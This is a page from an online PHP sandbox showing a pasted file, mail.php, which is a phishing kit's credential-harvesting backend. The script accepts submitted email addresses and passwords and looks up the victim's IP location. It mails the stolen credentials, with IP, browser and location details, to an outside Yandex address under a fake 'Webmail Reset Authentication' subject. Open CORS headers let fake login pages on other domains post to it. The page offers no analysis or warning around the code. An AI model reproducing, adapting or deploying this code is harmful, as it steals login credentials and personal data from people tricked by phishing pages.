mail - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of mail.php

  1. <?php
  2.  
  3. if (isset($_SERVER['HTTP_ORIGIN'])) {
  4.         // Decide if the origin in $_SERVER['HTTP_ORIGIN'] is one
  5.         // you want to allow, and if so:
  6.         header('Access-Control-Allow-Origin: *');
  7.         header('Access-Control-Allow-Credentials: true');
  8.         header('Access-Control-Max-Age: 1000');
  9. }
  10.  
  11. if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
  12.         if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD'])) {
  13.                 // may also be using PUT, PATCH, HEAD etc
  14.                 header("Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE");
  15.         }
  16.  
  17.         if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS'])) {
  18.                 header("Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, request-startTime");
  19.         }
  20.         exit(0);
  21. }
  22.  
  23. function getUserIpAddr()
  24. {
  25.         if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
  26.                 //ip from share internet
  27.                 $ip = $_SERVER['HTTP_CLIENT_IP'];
  28.         } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  29.                 //ip pass from proxy
  30.                 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  31.         } else {
  32.                 $ip = $_SERVER['REMOTE_ADDR'];
  33.         }
  34.         return $ip;
  35. }
  36.  
  37. function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE)
  38. {
  39.         $output = NULL;
  40.         if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
  41.                 $ip = $_SERVER["REMOTE_ADDR"];
  42.                 if ($deep_detect) {
  43.                         if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
  44.                                 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  45.                         if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
  46.                                 $ip = $_SERVER['HTTP_CLIENT_IP'];
  47.                 }
  48.         }
  49.         $purpose    = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
  50.         $support    = array("country", "countrycode", "state", "region", "city", "location", "address");
  51.         $continents = array(
  52.                 "AF" => "Africa",
  53.                 "AN" => "Antarctica",
  54.                 "AS" => "Asia",
  55.                 "EU" => "Europe",
  56.                 "OC" => "Australia (Oceania)",
  57.                 "NA" => "North America",
  58.                 "SA" => "South America"
  59.         );
  60.         if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
  61.                 $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
  62.                 if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
  63.                         switch ($purpose) {
  64.                                 case "location":
  65.                                         $output = array(
  66.                                                 "city"           => @$ipdat->geoplugin_city,
  67.                                                 "state"          => @$ipdat->geoplugin_regionName,
  68.                                                 "country"        => @$ipdat->geoplugin_countryName,
  69.                                                 "country_code"   => @$ipdat->geoplugin_countryCode,
  70.                                                 "continent"      => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
  71.                                                 "continent_code" => @$ipdat->geoplugin_continentCode
  72.                                         );
  73.                                         break;
  74.                                 case "address":
  75.                                         $address = array($ipdat->geoplugin_countryName);
  76.                                         if (@strlen($ipdat->geoplugin_regionName) >= 1)
  77.                                                 $address[] = $ipdat->geoplugin_regionName;
  78.                                         if (@strlen($ipdat->geoplugin_city) >= 1)
  79.                                                 $address[] = $ipdat->geoplugin_city;
  80.                                         $output = implode(", ", array_reverse($address));
  81.                                         break;
  82.                                 case "city":
  83.                                         $output = @$ipdat->geoplugin_city;
  84.                                         break;
  85.                                 case "state":
  86.                                         $output = @$ipdat->geoplugin_regionName;
  87.                                         break;
  88.                                 case "region":
  89.                                         $output = @$ipdat->geoplugin_regionName;
  90.                                         break;
  91.                                 case "country":
  92.                                         $output = @$ipdat->geoplugin_countryName;
  93.                                         break;
  94.                                 case "countrycode":
  95.                                         $output = @$ipdat->geoplugin_countryCode;
  96.                                         break;
  97.                         }
  98.                 }
  99.         }
  100.         return $output;
  101. }
  102.  
  103. function buildMail($email, $password)
  104. {
  105.     $dateTime = date("l jS \of F Y h:i:s A");
  106.     $hostName = $_SERVER['HTTP_REFERER'];
  107.         $browserName = get_browser(null, true)['browser'] ?? 'N/A';
  108.     $ipAddress = getUserIpAddr();
  109.     $ipData = ip_info($ipAddress);
  110.     $country = $ipData['country'] ?? 'N/A';
  111.         $state = $ipData['state'] ?? 'N/A';
  112.         $city = $ipData['city'] ?? 'N/A';
  113.  
  114.     $message = "";
  115.     $message .= "Email : {$email} <br>\n";
  116.     $message .= "Password : {$password} <br>\n";
  117.     $message .= "Date : {$dateTime} <br>\n";
  118.     $message .= "Browser : {$browserName} <br>\n";
  119.     $message .= "Host : {$hostName} <br>\n";
  120.     $message .= "IP Address : {$ipAddress} <br>\n";
  121.     $message .= "Country : {$country} <br>\n";
  122.     $message .= "State : {$state} <br>\n";
  123.     $message .= "City : {$city}<br>\n<br>\n<br>\n";
  124.     $message .= "Work harder and smarter because there is somebody somewhere who's always working harder than you do.";
  125.  
  126.         return $message;
  127. }
  128.  
  129.  
  130. if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  131.  
  132.         if (isset($_POST['email']) && isset($_POST['password'])) {
  133.  
  134.                 try {
  135.                         // Always set content-type when sending HTML email
  136.                         $headers = "MIME-Version: 1.0" . "\r\n";
  137.                         $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
  138.                        
  139.                         $message = buildMail($_POST['email'], $_POST['password']);
  140.                         mail("linkup11@yandex.com","Webmail Reset Authentication", $message, $headers);
  141.  
  142.                         http_response_code(200);
  143.  
  144.                         echo json_encode([
  145.                                 'message' => "Message has been sent"
  146.                         ]);
  147.                 } catch (Exception $e) {
  148.  
  149.                         http_response_code(500);
  150.  
  151.                         echo json_encode([
  152.                                 'message' => "Message could not be sent. Mailer Error: {$mail}"
  153.                         ]);
  154.                         exit(0);
  155.                 }
  156.  
  157.         } else {
  158.                 http_response_code(422);
  159.  
  160.                 echo json_encode([
  161.                         'message' => "The given data is invalid",
  162.                         'errors' => [
  163.                                 'email' => 'The email is required',
  164.                                 'password' => 'The password is required',
  165.                         ]
  166.                 ]);
  167.                 exit(0);
  168.         }
  169. } else {
  170.         http_response_code(405);
  171.         exit(0);
  172. }
  173.  
File Description
  • mail
  • PHP Code
  • 22 Aug-2023
  • 5.12 Kb
You can Share it: